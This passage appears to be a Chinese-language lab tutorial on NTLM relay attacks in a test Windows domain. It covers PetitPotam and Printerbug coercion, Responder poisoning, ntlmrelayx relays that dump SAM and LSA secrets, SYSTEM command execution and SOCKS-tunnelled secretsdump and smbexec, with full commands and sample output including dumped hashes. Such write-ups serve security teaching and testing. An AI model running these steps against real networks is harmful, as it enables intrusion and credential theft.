上面通过这样主动等待访问去欺骗 IP,不如强制访问来的便捷。

强制认证要补充一下 Printerbug 和 PetitPotam 强制认证利用限制,比如说这个CVE-2019 XXXX 在什么时候不能使用。

1.Printerbug

使用 SpoolSample工具或者 printerbug.py。原理就是 RPC 调用,可以未授权强制任何机器调用。后来微软修复成允许授权的用户进行调用。

让 TargetIP2 去访问 TargetIP1。

python3 printerbug.py -no-pass <TargetIP2> <TargetIP1> 

2.PetitPotam

PetitPotam

让 TargetIP2 去访问 TargetIP1。

python3 PetitPotam.py <TargetIP1> <TargetIP2>

将哈希中继到其他服务

SMB To SMB

一、确认 Relay 目标,找到哪些机器没开启签名

如果提供 SMB 服务的服务器要求签名,那我们攻击会失败。启用服务端签名是在注册表中将 RequireSecuritySignature 设置为 1。

// SMB 服务端启用签名
reg add HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 1 /f

默认情况下除域控外都没开启签名。如果使用的是 SMB3 会默认开启签名,不过现在默认运行的都是 SMB2 默认是不需要签名的。

1.CrackMapExec

--gen-relay-list 选项直接将能够 Relay 的 IP 存入 relayTargets.txt 中。

# 直接扫网段
cme smb <IPv4 CIDR> --gen-relay-list relayTargets.txt

# 扫指定主机,多个主机可以用空格隔开
cme smb <IP> --gen-relay-list relayTargets.txt

通过 signing:False 来看那些机器机器没有开启签名。

┌──(kali㉿kali)-[~/Desktop]
└─$ crackmapexec smb 192.168.37.0/24  --gen-relay-list relayTargets.txt
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing RDP protocol database
[*] Initializing SSH protocol database
[*] Initializing FTP protocol database
[*] Initializing WINRM protocol database
[*] Initializing MSSQL protocol database
[*] Initializing LDAP protocol database
[*] Initializing SMB protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB         192.168.37.3    445    PC-02            [*] Windows 10.0 Build 19041 x64 (name:PC-02) (domain:raingray.com) (signing:False) (SMBv1:False)
SMB         192.168.37.5    445    PC-01            [*] Windows 10.0 Build 19041 x64 (name:PC-01) (domain:raingray.com) (signing:False) (SMBv1:False)
SMB         192.168.37.1    445    DC-BEIJING-01    [*] Windows 10.0 Build 17763 x64 (name:DC-BEIJING-01) (domain:raingray.com) (signing:True) (SMBv1:False)
                                                                                                                                                                                        
┌──(kali㉿kali)-[~/Desktop]
└─$ head relayTargets.txt 
192.168.37.3
192.168.37.5

2.Responder 的工具 RunFinger.py

python RunFinger.py -i <网段>/<子网>

根据 Signing:'False' 判断没开启签名。

┌──(kali㉿kali)-[~]
└─$ sudo responder-RunFinger -i 192.168.37.0/24
[SMB2]:['192.168.37.3', Os:'Windows 10/Server 2016/2019 (check build)', Build:'19041', Domain:'RAINGRAY', Bootime: 'Unknown', Signing:'False', RDP:'True', SMB1:'False', MSSQL:'False']
[SMB2]:['192.168.37.1', Os:'Windows 10/Server 2016/2019 (check build)', Build:'17763', Domain:'RAINGRAY', Bootime: 'Unknown', Signing:'True', RDP:'False', SMB1:'False', MSSQL:'False']
[SMB2]:['192.168.37.5', Os:'Windows 10/Server 2016/2019 (check build)', Build:'19041', Domain:'RAINGRAY', Bootime: 'Unknown', Signing:'False', RDP:'False', SMB1:'False', MSSQL:'False']

3.Nmap

nmap 的 nes 脚本 smb-security-mode.nse

# 扫网段
nmap --script=smb-security-mode.nse -p 445 -n -Pn --open <CIDR>

# 扫描单个机
nmap --script=smb-security-mode.nse -p 445 -n -Pn --open <IP>

# 扫描几个机器,用空格分隔 192.168.1.1 192.168.1.2
nmap --script=smb-security-mode.nse -p 445 -n -Pn --open <IP> <IP>

# 扫描指定范围机器,横线表示范围 192.168.1.1-192.168.1.80
nmap --script=smb-security-mode.nse -p 445 -n -Pn --open <IP>-<IP>

根据响应中 Message signing enabled but not required 来判断不需要签名,Message signing enabled and required 就是要求签名。

┌──(kali㉿kali)-[~]
└─$ nmap --script=smb2-security-mode.nse -p 445 -n -Pn --open 192.168.37.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-03 09:01 EST
Nmap scan report for 192.168.37.1
Host is up (0.00079s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Nmap scan report for 192.168.37.2
Host is up (0.00069s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode: 
|   2:0:2: 
|_    Message signing enabled but not required

Nmap scan report for 192.168.37.3
Host is up (0.00068s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Nmap scan report for 192.168.37.5
Host is up (0.00060s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Nmap done: 256 IP addresses (256 hosts up) scanned in 3.00 seconds

二、获取 SAM hashs

如果受害者 A 对机器 B 有管理员权限,可以 SMB 中继到 B 机器 SMB 上,使用 secretsdump.py 启用 RemoteRegistry 远程导出 SAM 中 NT hash。但是我们作为攻击者又如何知道受害者对哪个 SMB 有管理权?没法知道,只能盲打所有没有开启签名的机器,去碰有没有权限。

这次整个演示中继利用的工具是 impacket 的 ntlmrelaytx.py,当然也可以使用 Inveigh

Relay 到指定 IP使用 -t。

python3 ntlmrelayx.py -t <Doamin FEDM>\<UserName>@<IP> -smb2support

Relay 到多个 IP 可以用 -tf 选项,会针对 relayTargets.txt 每行的目标 Relay。-smb2support 支持 SMBv2,不加此选项就默认启用 SMBv1,而现在新系统 Win10/11 都不支持 SMBv1 没法查看 SMBv1 的共享,-of 是输出文件,将攻击的结果存到指定文件里。

python3 ntlmrelayx.py -of relayReulst.txt -tf relayTargets.txt -smb2support

运行后会自动启动 SMB 服务,只要有受害者访问到我们 SMB 就会直接中继到 relayResult.txt 中的 IP。默认情况下运行,工具还多开了 WCF、HTTP Server,不需要的话可以用 --no-http-server,--no-wcf-server,--no-raw-server 关闭。

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-ntlmrelayx -of relayReulst.txt -tf relayTargets.txt -smb2support --no-http-server --no-wcf-server --no-raw-server
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client RPC loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server

[*] Servers started, waiting for connections

除非受害者主动访问 ntlmrelayx.py 开启的 SMB 服务,才能攻击 relayReulst.txt 其他机器 SMB。这里启动 Responder 欺骗去受害者访问 ntlmrelayx.py 启动的 SMB 服务。

为避免和 ntlmrelayx.py 开启的 SMB 冲突,需要编辑 Responder.conf 把 Responder 的 SMB 服务关闭。

sudo sed -i 's/SMB = On/SMB = Off/' /usr/share/responder/Responder.conf

其实前面 ntlmrelayx.py 已经开启 SMB 服务,这里关不关无所谓的,因为端口已经被占用。关闭的原因就怕无脑先启 Responder 后启 ntlmrelayx.py。

[!] Error starting TCP server on port 445, check permissions or other servers running.

先开启 Responder 确保输错内容可以被欺骗到 ntlmrelayx.py 开启的中间人 SMB 服务。-v 选项就是开启详细日志功能。

sudo responder -I eth1 -v

这里假设受害者 raingray/zhangqi 访问错了共享。

C:\Users\zhangqi>dir \\testaz\share
系统找不到指定的路径。

Responder 收到 192.168.37.3 发起的 testaz 名称查询的广播,直接响应 Responder 监听的网卡 IP。

[*] [MDNS] Poisoned answer sent to 192.168.38.1    for name raingray.local
[*] [MDNS] Poisoned answer sent to fe80::8327:c6c3:11ad:2330 for name raingray.local
[*] [MDNS] Poisoned answer sent to 192.168.37.3    for name testaz.local
[*] [NBT-NS] Poisoned answer sent to 192.168.37.3 for name TESTAZ (service: File Server)
[*] [MDNS] Poisoned answer sent to 192.168.37.3    for name testaz.local
[*] [MDNS] Poisoned answer sent to fe80::73ab:d035:7fd3:9b2f for name testaz.local
[*] [MDNS] Poisoned answer sent to fe80::73ab:d035:7fd3:9b2f for name testaz.local
[*] [LLMNR]  Poisoned answer sent to fe80::73ab:d035:7fd3:9b2f for name testaz
[*] [LLMNR]  Poisoned answer sent to 192.168.37.3 for name testaz
[*] [LLMNR]  Poisoned answer sent to fe80::73ab:d035:7fd3:9b2f for name testaz
[*] [LLMNR]  Poisoned answer sent to 192.168.37.3 for name testaz
[*] [MDNS] Poisoned answer sent to 192.168.37.3    for name testaz.local
[*] [MDNS] Poisoned answer sent to 192.168.37.3    for name testaz.local
[*] [MDNS] Poisoned answer sent to fe80::73ab:d035:7fd3:9b2f for name testaz.local
[*] [MDNS] Poisoned answer sent to fe80::73ab:d035:7fd3:9b2f for name testaz.local
[*] [LLMNR]  Poisoned answer sent to fe80::73ab:d035:7fd3:9b2f for name testaz
[*] [LLMNR]  Poisoned answer sent to 192.168.37.3 for name testaz
[*] [LLMNR]  Poisoned answer sent to fe80::73ab:d035:7fd3:9b2f for name testaz
[*] [LLMNR]  Poisoned answer sent to 192.168.37.3 for name testaz
[*] [MDNS] Poisoned answer sent to 192.168.37.3    for name testaz.local
[*] [MDNS] Poisoned answer sent to fe80::73ab:d035:7fd3:9b2f for name testaz.local
[*] [MDNS] Poisoned answer sent to fe80::73ab:d035:7fd3:9b2f for name testaz.local
[*] [MDNS] Poisoned answer sent to 192.168.37.3    for name testaz.local
[*] [LLMNR]  Poisoned answer sent to fe80::73ab:d035:7fd3:9b2f for name testaz
[*] [LLMNR]  Poisoned answer sent to fe80::73ab:d035:7fd3:9b2f for name testaz
[*] [LLMNR]  Poisoned answer sent to 192.168.37.3 for name testaz
[*] [LLMNR]  Poisoned answer sent to 192.168.37.3 for name testaz
[*] [MDNS] Poisoned answer sent to 192.168.37.3    for name testaz.local
[*] [MDNS] Poisoned answer sent to fe80::73ab:d035:7fd3:9b2f for name testaz.local
[*] [MDNS] Poisoned answer sent to 192.168.37.3    for name testaz.local
[*] [LLMNR]  Poisoned answer sent to fe80::73ab:d035:7fd3:9b2f for name testaz
[*] [MDNS] Poisoned answer sent to fe80::73ab:d035:7fd3:9b2f for name testaz.local
[*] [LLMNR]  Poisoned answer sent to 192.168.37.3 for name testaz
[*] [LLMNR]  Poisoned answer sent to fe80::73ab:d035:7fd3:9b2f for name testaz
[*] [LLMNR]  Poisoned answer sent to 192.168.37.3 for name testaz

而 ntlmrelayx.py 启动的 SMB 服务成功收到受害者 RAINGRAY/ZHANGQI@192.168.37.3 连接,并且对 smb://192.168.37.5 连接成功,获取到 SAM 中的 Hashs。这说明 RAINGRAY/ZHANGQI 对 192.168.37.5 有管理员权限,而我确实是在 192.168.37.5 的本地 Administrators 添加了 RAINGRAY/ZHANGQI 账户。

[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Connection from RAINGRAY/ZHANGQI@192.168.37.3 controlled, attacking target smb://192.168.37.3
[-] Authenticating against smb://192.168.37.3 as RAINGRAY/ZHANGQI FAILED
[*] SMBD-Thread-6 (process_request_thread): Connection from RAINGRAY/ZHANGQI@192.168.37.3 controlled, attacking target smb://192.168.37.5
[*] Authenticating against smb://192.168.37.5 as RAINGRAY/ZHANGQI SUCCEED
[*] SMBD-Thread-6 (process_request_thread): Connection from RAINGRAY/ZHANGQI@192.168.37.3 controlled, attacking target smb://192.168.37.3
[-] Authenticating against smb://192.168.37.3 as RAINGRAY/ZHANGQI FAILED
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x232a1f94a04720795aa3c9a23ea13784
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] SMBD-Thread-8 (process_request_thread): Connection from RAINGRAY/ZHANGQI@192.168.37.3 controlled, but there are no more targets left!
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:98feb9b195adec8f7336e5471d6e435d:::
wuhui:1001:aad3b435b51404eeaad3b435b51404ee:9df8fdcfb193c34fb9770367491e25d1:::
[*] Done dumping SAM hashes for host: 192.168.37.5
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

那能不能通过 SMB 中继回受害者自己的 SMB 呢?这样方便进行提权到 SYSTEM,从目前执行结果来看是失败的。但在 2008 年是可以的,这个技术叫 NTLM Reflection,后来被微软被修复,漏洞编号是 MS08-068(CVE-2008-4037)。

[*] SMBD-Thread-5 (process_request_thread): Connection from RAINGRAY/ZHANGQI@192.168.37.3 controlled, attacking target smb://192.168.37.3
[-] Authenticating against smb://192.168.37.3 as RAINGRAY/ZHANGQI FAILED

不过已经有一篇 Ghost Potato 文章中介绍了 CVE-2019-1384 反射绕过方式,在 ntlmrelayx.py 中通过 --gpotato-startup 选项实现了此利用方式,比如 --gpotato-startup 1.exe,则会将 1.exe 上传到目标启动目录。

三、执行一次性命令

不添加任何选项默认行为是 Dump SAM Hashs,使用 -c 选项可以执行一个命令。最重要的一点是 -c 选项,每个链接攻击有效性只有一次,当受害者重复访问不能每次都去执行命令,除非重启中间人服务让受害者再次访问。

python3 ntlmrelayx.py -t <Relay Target> -c "<Command>" --no-http-server --no-wcf-server --no-raw-server

这里执行 whoami 发现自动把 Administrator 提升到 SYSTEM 权限。

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-ntlmrelayx -of relayReulst.txt -t smb://192.168.37.5 -smb2support -c "whoami"               
Impacket v0.11.0 - Copyright 2023 Fortra
......
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.37.3, attacking target smb://192.168.37.5
[*] Authenticating against smb://192.168.37.5 as RAINGRAY/ZHANGQI SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.37.3 controlled, but there are no more targets left!
[*] Executed specified command on host: 192.168.37.5
nt authority\system

[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.37.3 controlled, but there are no more targets left!
......

这个 -c 选项也蛮多 Bug 的,比如默认用 cmd 拼接多条命令执行 -c "whoami /all && ipconfig /all",提示 SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)

[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.37.3, attacking target smb://192.168.37.5
[*] Authenticating against smb://192.168.37.5 as RAINGRAY/ZHANGQI SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.37.3 controlled, but there are no more targets left!
[*] Executed specified command on host: 192.168.37.5
[-] SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.37.3 controlled, but there are no more targets left!
......

只能通过给出完整命令行执行多条命令。另外在中文环境碰到输出乱码,是中文编码导致的,可以用 -codec 指定 gbk 编码解决。

┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t 192.168.37.5 -smb2support -c 'cmd /c "whoami && ipconfig"' --no-http-server --no-wcf-server --no-raw-server -codec gbk
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Protocol Client MSSQL loaded..
......
[*] Running in relay mode to single host
[*] Setting up SMB Server

[*] Servers started, waiting for connections
[*] SMBD-Thread-2 (process_request_thread): Received connection from 192.168.37.3, attacking target smb://192.168.37.5
[*] Authenticating against smb://192.168.37.5 as RAINGRAY/ZHANGQI SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] SMBD-Thread-4 (process_request_thread): Connection from 192.168.37.3 controlled, but there are no more targets left!
[*] Executed specified command on host: 192.168.37.5
nt authority\system

Windows IP 配置


以太网适配器 Ethernet0:

   连接特定的 DNS 后缀 . . . . . . . : raingray.com
   本地链接 IPv6 地址. . . . . . . . : fe80::bb98:7501:b855:2d18%2
   IPv4 地址 . . . . . . . . . . . . : 192.168.37.5
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.37.254
   ......
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
......

关于签名的问题。如果受害者 raingray\zhangqi 在机器 192.168.37.3 开启了客户端签名。

// SMB 客户端启用签名
reg add HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManWorkstation\Parameters /v RequireSecuritySignature /t REG_DWORD /d 1 /f

此时访问 ntlmrelayx.py SMB 服务,被 Relay 到 smb://192.168.37.5 上。那么访问结果提示无效签名。

C:\Users\zhangqi>dir \\testaz\share
无效签名。

但 ntlmrelayx.py 依旧能获取到命令执行的结果。猜测是不是 ntlmrelayx.py 自动把客户端签名给删了再转发的信息。

┌──(kali㉿kali)-[~/Desktop]
└─$ 
......
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.37.3, attacking target smb://192.168.37.5
[*] Authenticating against smb://192.168.37.5 as RAINGRAY/ZHANGQI SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Executed specified command on host: 192.168.37.5

用户信息
----------------

用户名              SID     
=================== ========
nt authority\system S-1-5-18
nt authority\system S-1-5-18
......
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

四、Socks 功能

使用 -socks 只要中继成功就会在本地 1080 监听端口自动维持会话有效性,后续通过代理 impacket 客户端工具流量到 1080 端口利用会话,只是目前支持的 socks 的服务有点少,有 http、https、iamp、iamps、mssql、smb、smtp。

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-ntlmrelayx -of relayReulst.txt -t smb://192.168.37.5 -smb2support -socks --no-http-server --no-wcf-server --no-raw-server 
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client RPC loaded..
[*] Running in relay mode to single host
[*] SOCKS proxy started. Listening at port 1080
[*] SMB Socks Plugin loaded..
[*] HTTP Socks Plugin loaded..
[*] MSSQL Socks Plugin loaded..
[*] HTTPS Socks Plugin loaded..
[*] IMAPS Socks Plugin loaded..
[*] SMTP Socks Plugin loaded..
[*] IMAP Socks Plugin loaded..
[*] Setting up SMB Server

[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx>  * Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
 * Debug mode: off

ntlmrelayx>

当有连接被成功利用自动建立会话,可以用 socks 命令查看有哪些目标 Relay 成功。

ntlmrelayx> [*] SMBD-Thread-8 (process_request_thread): Received connection from 192.168.37.3, attacking target smb://192.168.37.5
[*] Authenticating against smb://192.168.37.5 as RAINGRAY/ZHANGQI SUCCEED
[*] SOCKS: Adding RAINGRAY/ZHANGQI@192.168.37.5(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.37.3 controlled, but there are no more targets left!
......

ntlmrelayx> socks
Protocol  Target        Username          AdminStatus  Port 
--------  ------------  ----------------  -----------  ----
SMB       192.168.37.5  RAINGRAY/ZHANGQI  TRUE         445

通过查询本地 socks 端口,确实 1080 被开启。

┌──(kali㉿kali)-[~]
└─$ netstat -pant | grep 1080
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:1080            0.0.0.0:*               LISTEN      362612/python3      

┌──(kali㉿kali)-[~]
└─$ ps aux | grep 362612     
kali      362612  1.1  4.2 536744 85468 pts/0    Sl+  02:31   0:02 python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -of relayReulst.txt -t smb://192.168.37.5 -smb2support -socks --no-http-server --no-wcf-server --no-raw-server
kali      364486  0.0  0.1   6344  2304 pts/1    S+   02:34   0:00 grep --color=auto 362612

通过 proxychains 代理到 1080 上执行命令。

┌──(kali㉿kali)-[~]
└─$ proxychains impacket-secretsdump RAINGRAY/ZHANGQI@192.168.37.5                 
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.37.5:445  ...  OK
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x232a1f94a04720795aa3c9a23ea13784
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:98feb9b195adec8f7336e5471d6e435d:::
wuhui:1001:aad3b435b51404eeaad3b435b51404ee:9df8fdcfb193c34fb9770367491e25d1:::
[*] Dumping cached domain logon information (domain/username:hash)
RAINGRAY.COM/wusilin:$DCC2$10240#wusilin#b9df46c978204ad949e43659f26723b2: (2023-11-29 06:30:17)
RAINGRAY.COM/svc-joindomain:$DCC2$10240#svc-joindomain#c4f35d24a4cca9ef76956bfc1aac6fbd: (2023-11-29 06:34:41)
RAINGRAY.COM/Administrator:$DCC2$10240#Administrator#8d19ea742fb3ba8b858c25ae21655e52: (2023-11-29 06:34:47)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
RAINGRAY\PC-01$:aes256-cts-hmac-sha1-96:a89de4afcdae7923770e834fae059b5ff2d2a6e2e2a5b4f7f1098ec479062ef5
RAINGRAY\PC-01$:aes128-cts-hmac-sha1-96:3419722f9288d847338a866e1e9f2279
RAINGRAY\PC-01$:des-cbc-md5:ef202f13cb7cea85
RAINGRAY\PC-01$:plain_password_hex:2d0042005b00590026005c0023003300260024007900400066002d005b0079005d004400680028002000570074005600640074006700420078006f006a0041004700310070003d00440044005f005d00500045003d003f00370044002a002100310064006600390043006d003d007300570029002f0022005a005000520063004a00580076004e005c003f006c002900480033004d006c003800760059002100580025006f0048004f006a0068002500360076007800730053006a00590030004e0042004d0028005f002000360038006e00420030002f0051002d002900730051003d004800730030006d0058006400
RAINGRAY\PC-01$:aad3b435b51404eeaad3b435b51404ee:8769cb40c7f80338c834a7665dab9b77:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x5d46df79a300eba76a13024b0b6b6dd351e6d03e
dpapi_userkey:0x13e880fe5f8d1b2c55be11066e4a8f4d6d7b914c
[*] NL$KM 
 0000   E7 31 6E 5A C5 E6 41 F2  C1 E4 87 7A 0B B6 2B D3   .1nZ..A....z..+.
 0010   49 6B 6F A7 2E 7B 71 D1  E7 CD A0 D3 9D 6F 28 B9   Iko..{q......o(.
 0020   91 7C EC 13 B2 A4 73 E4  40 64 4D 29 A4 1C 94 4C   .|....s.@dM)...L
 0030   D7 D8 5E E3 3C 84 1F 7F  04 B7 1B 83 8D FE 13 4F   ..^.<..........O
NL$KM:e7316e5ac5e641f2c1e4877a0bb62bd3496b6fa72e7b71d1e7cda0d39d6f28b9917cec13b2a473e440644d29a41c944cd7d85ee33c841f7f04b71b838dfe134f
[*] Cleaning up... 
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

也可以用 smbexec.py 去执行命令。这个-no-pass 选项是不让脚本提示输入密码,因为已经有了会话不用输,如果不用这个选项提示你输入,就直接按回车键即可。

┌──(kali㉿kali)-[~]
└─$ proxychains impacket-smbexec RAINGRAY/ZHANGQI@192.168.37.5 -no-pass -codec gbk
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.11.0 - Copyright 2023 Fortra

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.37.5:445  ...  OK
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>ipconfig

Windows IP 配置


以太网适配器 Ethernet0:

   连接特定的 DNS 后缀 . . . . . . . : raingray.com
   本地链接 IPv6 地址. . . . . . . . : fe80::bb98:7501:b855:2d18%2
   IPv4 地址 . . . . . . . . . . . . : 192.168.37.5
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.37.254

以太网适配器 蓝牙网络连接:

   媒体状态  . . . . . . . . . . . . : 媒体已断开连接
   连接特定的 DNS 后缀 . . . . . . . : 

C:\Windows\system32>

如果要结束 socks 会话就 exit 直接退出脚本,没法关闭指定会话。

HTTP To LDAP⚒️

Relay 也支持跨协议中继(Cross Protocol Relaying),如 SMB -> LDAP,HTTP -> SMB。只要不是 SMB -> SMB 这种中继到原有协议上,除此之外都是跨协议。

一、LDAP 签名

内网一般来说只有域控开启了 LDAP。

服务端 LDAP 默认设置的 1 是协商签名,说明服务端有签名的能力,要不要签名由客户端来控制,2 则是强制签名,客户端必须支持签名,设置为 0 代表不需要签名。

可以通过 LDAPServerIntegrity 来确认服务端签名设置情况。

C:\Users\Administrator>reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v LDAPServerIntegrity

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
    LDAPServerIntegrity    REG_DWORD    0x1

客户端通过 LdapClientIntegrity 来看客户端签名设置情况。

PS C:\Users\gbb> reg query HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LDAP /v LdapClientIntegrity

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LDAP
    LdapClientIntegrity    REG_DWORD    0x1

SMB To LDAP 则提示客户端有签名,也查询了客户端没有开启签名。

┌──(kali㉿kali)-[~]
└─$ sudo impacket-ntlmrelayx -t ldap://192.168.37.1 -smb2support --no-http-server --no-wcf-server --no-raw-server
......
[*] Servers started, waiting for connections
[*] SMBD-Thread-3 (process_request_thread): Received connection from fe80::73ab:d035:7fd3:9b2f, attacking target ldap://192.168.37.1
[!] The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)

WireShark 抓包 SMB To LDAP.pcapng,192.168.37.3 是受害者,192.168.37.2 是 Kali 上搭建的 SMB 服务,192.167.37.1 是域控。

可以看到一切都认证成功了 No.65 是客户端 SearchRequest,域控的 LDAP 没有任何响应,直接断开 TCP 连接。这个问题在 Impacket Issues 中有提到:“NTLMRelayX SMB->LDAP ensure that negotiate request disables signing #500”,后来大家发现还是因为是服务端启用签名的问题,就算设置为协商也没办法,在 LDAP 请求中没有签名直接拒绝。后来有研究 SMB To LDAP 可以直接删除签名,漏洞编号是 CVE-2019-1040,在 impacket 中 --remove-mic 选项实现了漏洞利用。

没法 SMB To LDAP 可以通过 HTTP、WebDav 中继到 LDAP 则不需要签名。如果服务端强制开启签名,这两种方法也没办法利用。所以最好提前扫描签名是否开启,扫描有很多工具这里使用 LdapRelayScan,但个人通过 Python 创建虚拟环境运行直接抛异常,没法正常使用。

二、使用 mitm6 进行 DHCPv6 Spoofing-获取域内所有信息

开启恶意 HTTP 服务,让域管理员或者其他用户访问此服务,自动把凭证转发到其他机器做认证。如果有多张网卡可以用 -ip 来指定使用那个地址。

sudo ntlmrelayx.py -t ldap://<IP> --no-smb-server --no-wcf-server --no-raw-server

怎么让域管理员访问这个恶意的 HTTP 服务呢?一个是直接访问,几乎不可能。另一个选项是利用强制认证最方便了,这里因为搭建的系统版本较高,无法使用就把两种利用仅做工具参数演示。

全程使用 DHCPv6 欺骗,在响应中 WPAD Server 地址,在域管理员登录机器的时候来自动利用。

1.PetitPotam

使用 PetitPotam 让 192.168.37.1 强制认证到 192.168.37.2 的 80 端口的 x 资源。这里有个坑是被攻击机必须使用主机名或者 FQDN,这里 192.168.37.2 主机名是 kali。

# 使用凭证进行强制认证。也可以使用哈希,可以查看帮助来看怎么填参数
python3 PetitPotam.py -u zhangqi -d raingray.com -p '123!@#qweQWE' kali@80/x 192.168.37.1

# 匿名强制认证
python3 PetitPotam.py kali@80/x 192.168.37.1

2.DHCPv6 响应 DNS 利用

ntlmrelayx -6 选项将 http 服务同时也监听 IPv6 地址上,--no-da 和 --no-acl 是不要尝试 LDAP 其他的利用方式,让其默默导出域内的信息即可。

